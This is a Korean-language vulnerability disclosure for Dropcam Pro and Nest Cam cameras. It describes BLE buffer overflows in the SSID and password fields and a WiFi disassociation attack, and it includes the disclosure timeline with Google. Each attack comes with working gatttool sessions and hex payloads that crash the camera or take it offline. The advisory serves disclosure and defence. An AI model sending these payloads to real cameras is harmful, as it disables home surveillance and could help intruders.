
소비자용 IoT 카메라에 대한 PoC 취약점 공개로, 기기를 오프라인 상태로 만들 수 있는 BLE 버퍼 오버플로 및 WiFi 연결 해제 공격을 자세히 설명합니다.
영향 대상: Dropcam Pro, Nest Cam 실내/실외 모델
영향을 받는 최신 빌드: 205-600052
부분 수정 빌드: 205-600055
업데이트 최신 펌웨어 버전 205-600055는 Dropcam Pro의 WiFi 연결 해제(disassociation) 취약점을 수정하지 않습니다. 제공된 WiFi 네트워크가 존재하지 않는 경우, 재연결 시간이 개선되어 약 10초 이내에 다시 연결됩니다. 그러나 유효한 WiFi 네트워크를 제공하여 Dropcam을 영구적으로 오프라인 상태로 만드는 것은 여전히 가능합니다.
공개 타임라인:
2016년 10월 26일: Google 취약점 보상 프로그램(VRP) 지침에 따라 보안 버그 신고
2016년 10월 27일: Google 보안 팀이 보고서 접수 및 조사 중임을 확인
2016년 11월 1일: Google 보안 팀이 보고된 취약점을 검증하고 버그를 등록
2016년 11월 15일: Google VRP 패널이 "비통합 인수(Non-integrated acquisitions)" 항목으로 $100 포상금 지급
2017년 3월 17일: 공개 공시
Troy Stribling의 PoC iOS 앱 :: NestPWN
요약
카메라에 SSID 매개변수를 설정할 때 버퍼 오버플로우 조건을 트리거하는 것이 가능합니다. 공격자는 카메라의 전원이 켜진 상태에서 언제든지 블루투스 범위 내에 있어야 합니다. 블루투스는 초기 설정 후에도 비활성화되지 않습니다.
개념 증명(PoC)
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
세부 사항
페이로드는 길이가 1바이트인 SSID를 설정하려고 시도하며 16바이트를 전송합니다.
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
결과
충돌 후 재부팅되어 작동 상태로 복귀
요약
카메라에 암호화된 비밀번호 매개변수를 설정할 때 버퍼 오버플로우 조건을 트리거하는 것이 가능합니다. 공격자는 카메라의 전원이 켜진 상태에서 언제든지 블루투스 범위 내에 있어야 합니다. 블루투스는 초기 설정 후에도 비활성화되지 않습니다.
개념 증명(PoC)
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
요약
새 SSID를 제공하여 카메라를 WiFi에서 연결 해제하는 것이 가능합니다. 이 카메라들은 영상의 로컬 저장을 지원하지 않으므로 감시 기능이 일시적으로 비활성화됩니다. 공격자는 카메라의 전원이 켜진 상태에서 언제든지 블루투스 범위 내에 있어야 합니다. 블루투스는 초기 설정 후에도 비활성화되지 않습니다.
개념 증명(PoC)
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
세부 사항
페이로드는 길이가 1바이트인 암호화된 WiFi 비밀번호를 설정하려고 시도하며 3바이트를 전송합니다.
SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
결과
충돌 후 재부팅되어 작동 상태로 복귀
Characteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfully[18:B4:30:5D:00:B8][LE]> 세부 사항
페이로드는 Nest Cam에 연결된 SSID를 변경하여 현재 WiFi SSID에서 일시적으로 연결이 해제되도록 시도합니다.
seqNum + 0312(type) 0b(len) + SSID + 1a(type) 20(len) + encPass
seqNum + encPass(cont)
seqNum + encPass(cont) + 2002280032(constant) + 10(len) + authTag
seqNum + authTag(cont) + 3a(UnknownType) 04(len) + DEADBEEF
seqNum(execute)
결과
카메라는 새로 설정된 SSID에 연결을 시도하기 위해 현재 WiFi 네트워크에서 연결을 해제합니다. WiFi 네트워크가 존재하지 않는 경우, 카메라는 약 60~90초 동안 오프라인 상태가 되었다가 원래 WiFi 네트워크로 복귀하여 정상 작동을 재개합니다. 네트워크가 존재하는 경우, 인터넷 연결을 확인한 후 새 네트워크에 유지됩니다.